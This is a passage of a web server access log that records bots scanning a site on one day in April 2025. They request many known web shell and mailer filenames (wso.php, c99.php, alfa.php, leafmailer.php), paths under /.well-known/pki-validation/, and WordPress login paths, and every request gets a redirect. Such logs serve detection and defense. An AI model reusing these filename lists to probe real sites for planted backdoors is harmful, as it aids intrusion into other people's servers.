"https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:09 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:11 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:14 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:16 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:20 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:23 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:27 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:30 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:33 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:36 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:37 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:39 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:42 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:44 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:46 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:50 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:53 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:56 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:39:58 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:00 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:03 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:05 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:08 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:12 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:14 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:16 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:19 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:21 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:24 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:26 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:29 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:31 -0400] "GET /m.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:34 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:36 -0400] "GET /LEAF.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:38 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:40 -0400] "GET /mailer.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:42 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:44 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:46 -0400] "GET /leaf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:48 -0400] "GET /x.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:50 -0400] "GET /srx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:52 -0400] "GET /1337.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:54 -0400] "GET /xx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:56 -0400] "GET /XxX.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:40:59 -0400] "GET /lf.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:01 -0400] "GET /alex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:03 -0400] "GET /new.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:06 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:08 -0400] "GET /gaza.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:10 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:12 -0400] "GET /3index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:14 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:15 -0400] "GET /wso1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:17 -0400] "GET /bb.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:19 -0400] "GET /Lux.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 105.74.13.167 - - [28/Apr/2025:02:41:20 -0400] "GET /haxor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 208.100.26.243 - - [28/Apr/2025:02:56:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1" 192.178.6.71 - - [28/Apr/2025:03:09:53 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.72 - - [28/Apr/2025:03:09:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.95 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.167.245.18 - - [28/Apr/2025:03:42:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [28/Apr/2025:04:04:25 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:27 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:28 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:29 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:29 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:30 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:31 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:31 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:32 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:33 -0400] "GET /.well-known/pki-validation/dropdown.php%3fpass=yanz HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:33 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:34 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:35 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:35 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:36 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:37 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:37 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:38 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:04:39 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:04:08:05 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:04:08:20 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [28/Apr/2025:04:08:40 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:09:08 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:04:09:59 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:10:40 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:04:10:57 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:04:11:09 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:11:40 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:04:11:49 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 162.0.232.217 - - [28/Apr/2025:04:11:55 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:12:10 -0400] "GET /.well-known/pki-validation/ssl.php%3fxsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:12:16 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [28/Apr/2025:04:12:23 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:12:28 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 162.0.232.217 - - [28/Apr/2025:04:12:32 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:13:03 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [28/Apr/2025:04:13:11 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:04:13:12 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:13:30 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 162.0.232.217 - - [28/Apr/2025:04:13:46 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 162.0.232.217 - - [28/Apr/2025:04:13:48 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [28/Apr/2025:04:13:50 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [28/Apr/2025:04:13:50 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:04:14:54 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:17:39 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:17:54 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 162.0.232.217 - - [28/Apr/2025:04:17:54 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:18:08 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:18:39 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:21:14 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [28/Apr/2025:04:21:28 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:04:28:30 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 165.154.227.189 - - [28/Apr/2025:04:49:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Embarcadero URI Client/1.0" 36.111.67.189 - - [28/Apr/2025:05:43:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2602:fb54:9bb:: - - [28/Apr/2025:05:44:15 -0400] "GET /wp-content/plugins/HelloDollyV2/hello_dolly_v2.php HTTP/1.1" 301 795 "-" "ShellBot 2.0" 152.42.210.243 - - [28/Apr/2025:05:50:27 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 36.37.152.42 - - [28/Apr/2025:06:06:23 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:25 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:28 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:31 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:34 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:38 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:40 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:44 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:48 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:51 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:06:56 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:02 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:10 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:18 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:23 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:27 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:29 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:34 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:37 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 36.37.152.42 - - [28/Apr/2025:06:07:39 -0400] "GET 